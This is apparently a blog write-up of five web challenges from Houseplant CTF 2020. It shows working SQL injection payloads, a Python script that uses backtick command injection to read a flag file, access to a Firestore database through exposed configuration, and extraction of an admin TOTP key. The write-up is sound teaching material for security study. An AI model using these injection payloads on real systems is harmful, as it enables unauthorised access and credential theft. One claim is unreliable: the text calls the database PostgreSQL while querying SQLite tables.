Houseplant CTF 2020 Web Writeups

Posted on 2020-04-27

https://ctftime.org/event/997

I don't like needles50pt402/1419
QR Generator50pt228/1419
Selfhost all the things!1566pt91/1419
Fire/place1783pt64/1419
Blog from the future1922pt39/1419

I couldn’t solve it at all, so I studied it.







I don’t like needles

They make me SQueaL!
http://challs.houseplant.riceteacatpanda.wtf:30001
Dev: Tom

There is a meaningful string of ?sauce in the source code.
If you type this in, the source code will come up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if ($_SERVER['REQUEST_METHOD'] == "POST") {

require("config.php");

if (isset($_POST["username"]) && isset($_POST["password"])) {

$username = $_POST["username"];
$password = $_POST["password"];

if (strpos($password, "1") !== false) {
echo "<p style='color: red;'>Auth fail :(</p>";
} else {

$connection = new mysqli($SQL_HOST, $SQL_USER, $SQL_PASS, $SQL_DB);
$result = mysqli_query($connection, "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'", MYSQLI_STORE_RESULT);

if ($result === false) {
echo "<p style='color: red;'>I don't know what you did but it wasn't good.</p>";
} else {
if ($result->num_rows != 0) {
if (mysqli_fetch_array($result, MYSQLI_ASSOC)["username"] == "flagman69") {
echo "<p style='color: green;'>" . $FLAG . " :o</p>";
} else {
echo "<p style='color: green;'>Logged in :)</p>";
}
} else {
echo "<p style='color: red;'>Auth fail :(</p>";
}
}

}
}
}

?>

Looking at the source code, it looks like the login user should choose flagman69.
As for the password, it is put directly into the SQL, but it is rejected if it contains 1.

username: flagman69
password: ' OR 0 = 0#

When I do this, I only get Logged in!.
Perhaps there are multiple users and the first user is not flagman69.
I’m going to take the second one, and I will use OFFSET 1, but yeah, I can’t use 1.
If you look at the way I deliberately blocked it out, I’m sure there is a flagman69 in the second place.

Let’s not put it all out there and make sure the comparison part of the password is always true.

password: '=0#

I’ll put this in. Then, password=''=0.
The implicit type transformation works, and this part is always true.
Everything is converted to a number, and the string is always true with all zeros.
This brings up the flag.

image.png

Reference







QR Generator

I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that’s not working like it should be. Would you mind taking a look?
http://challs.houseplant.riceteacatpanda.wtf:30004
Dev: jammy
Hint! For some reason, my website isn’t too fond of backticks…

image.png

If you write it appropriately, you will get QR.
Decoding this QR restores f if it is fsafd.
In the source code, it says <! -- TODO: Fix bug where the QR code only contains 1 character -->.
If you look at it, it looks like you’re passing it by /qr?text=.
The payload only has one character, isn’t that impossible?

— I read writeups… —

I see!
I wonder how you can come up with such an idea…
First of all, let’s make a code to display the contents of the QR code by analyzing the QR code that comes back after entering characters into the text so that we can see various QR codes.

1
2
3
4
5
6
7
8
9
10
from pyzbar.pyzbar import decode
from PIL import Image
import urllib.parse
import urllib.request

def get(payload):
payload = urllib.parse.quote(payload)
url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=`" + payload + "`"
urllib.request.urlretrieve(url, "qr.jpg")
return decode(Image.open("qr.jpg"))[0].data.decode()

I’m going to pass the `ls` to the part where the QR code is made.

ls -> R

R?
Oh, I see, they only give me the first letter.
I’ll try to devise the command so that the second letter comes out.

ls | head -c 2 | tail -c 1 -> E

If you take two letters from the beginning and the end, you get the second letter.
OK.

1
2
3
4
res = ""
for idx in range(40):
res += get(f"ls | head -c {idx + 1} | tail -c 1")
print(res)

results

1
2
3
4
5
README.md
app
flag.txt
node_modules
pack

There is a meaningful file “flag.txt”…

1
2
3
4
res = ""
for idx in range(40):
res += get(f"cat flag.txt | head -c {idx + 1} | tail -c 1")
print(res)

rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}
found!

Reference







Selfhost all the things!

The amount of data that online services like Discord and Instagram collect on us is staggering, so I thought I’d selfhost a chat app!
http://challs.houseplant.riceteacatpanda.wtf:30005
The chat database is wiped every hour.
This app is called Mantle and is open source. You can find its GitHub repo at https://github.com/nektro/mantle.
Dev: Tom
Hint! discord more like flag

A chat service that allows you to authenticate with your discord account.
It seems to be created using an OSS called Mantle.
When I entered, other participants were engaged in an XSS battle. I’m scared.

— I read writeups… —

Looks like it was a super esper problem.

image.png

In this way, you can use discord as an authentication source.
Using burp, I looked at the request destination and it looks like the request is /login?with=discord.
Changing this to /login?with=flag will cause a redirect and take you to the site where the flag was written.

image.png

Reference







Fire/place

You see, I built a nice fire/place for us to all huddle around. It’s completely decentralized, and we can all share stuff in it for fun!!
Dev: Jess
Hint! I wonder… what’s inside the HTML page?

If you look at the source code, it’s using firebase’s filestore.
I’ve got all the configs to access, so I’m free to get and update folders.
[Firebase] Firestoreで読み書きする (Web編)
I’ll write an extract code with reference to this.

1
2
3
4
5
6
7
8
9
10
11
12
var ref = db.collection("board").doc("data");
ref.get().then((doc)=>{
if (doc.exists) {
console.log( doc.data() );
}
else {
console.log("404");
}
})
.catch( (error) => {
console.log(`データを取得できませんでした (${error})`);
});

rtcp{y0u_f0und_m3333}
That seems to be incorrect.

— I read writeups… —

If you look at the flagdoc instead of the datadoc, you will see the real flags.
It’s gonna be rough…

Reference







Blog from the future

My friend Bob likes sockets so much, he made his own blog to talk about them. Can you check it out and make sure that it’s secure like he assured me it is?
http://challs.houseplant.riceteacatpanda.wtf:30003
Dev: jammy

A site like a blog.
If you look at the contents, you can see that the screen is being switched with WebSocket communication.
Where do I start?
In the meantime, it scans using dirb.

1
2
3
4
5
6
7
8
---- Scanning URL: http://challs.houseplant.riceteacatpanda.wtf:30003/ ----
+ http://challs.houseplant.riceteacatpanda.wtf:30003/admin (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/Admin (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/ADMIN (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/img (CODE:301|SIZE:173)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/js (CODE:301|SIZE:171)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/robots.txt (CODE:200|SIZE:31)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/stylesheets (CODE:301|SIZE:189)

You can find /admin, so go there.

image.png

Nothing in particular.
Looking at the source code.

1
2
<!-- I've replaced the password with a one-time TOTP token, but the evil hackers don't need to know that... >:)
<input type="password" name="totp" placeholder="One-time TOTP token" /> -->

It seems that TOTP is going to be introduced.
No, it says they’re already replacing it.
I’m going to have to get a TOTP token from somewhere.

— I read writeups… —

Analyze with guts

Let’s go back to the first page.
I guess it’s done with js.
There is a good way to parse javascript.
If you use Chrome’s local override well, it’s easy to parse.
I’m sure there’s a portion of the blog post I’m bringing in. Let’s identify it.

I’m not sure what kind of search term would bring it up, but would it be better to search for decrypt or something like that?
If you’re doing it in JS, the communication has to be encrypted to be visible, so it might be a reasonable search word.

image.png

If you put a console.log like this, various things will come up.
isNaN" is window.location.hash.substr, so you can enter it by adding “#1” or something like that.
If you access /#1, you will be requested with return r.send(o.encode(["getPost", 1]));.
Couldn’t part 1 be injected?

SQL Injection

I put in a few things and it turns out to be PostgreSQL.
Let’s pull out the table information.
1 OR 2=2 UNION SELECT group_concat(sql),0,0,0,0,0 FROM sqlite_master;--
->

1
2
3
4
5
6
7
8
9
10
11
12
CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE "users" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"totp_key" TEXT NOT NULL
),CREATE TABLE "posts" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"title" TEXT NOT NULL,
"author" INTEGER NOT NULL,
"text" TEXT NOT NULL,
"postDate" INTEGER NOT NULL,
"hidden" INTEGER DEFAULT 0
)

I’ve seen it somewhere called “totp_key”.
For now, let’s take a look at the contents of the users.

image.png

A lot comes out of it.
The TOTP key of bob, the admin, is obtained.
IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA
TOTP Generator
Use this site to create a one-time password from your TOTP private key.
Now, go back to /admin, comment out totp’s input and put username:bob, totp’s token and you’ll get the answer.

Reference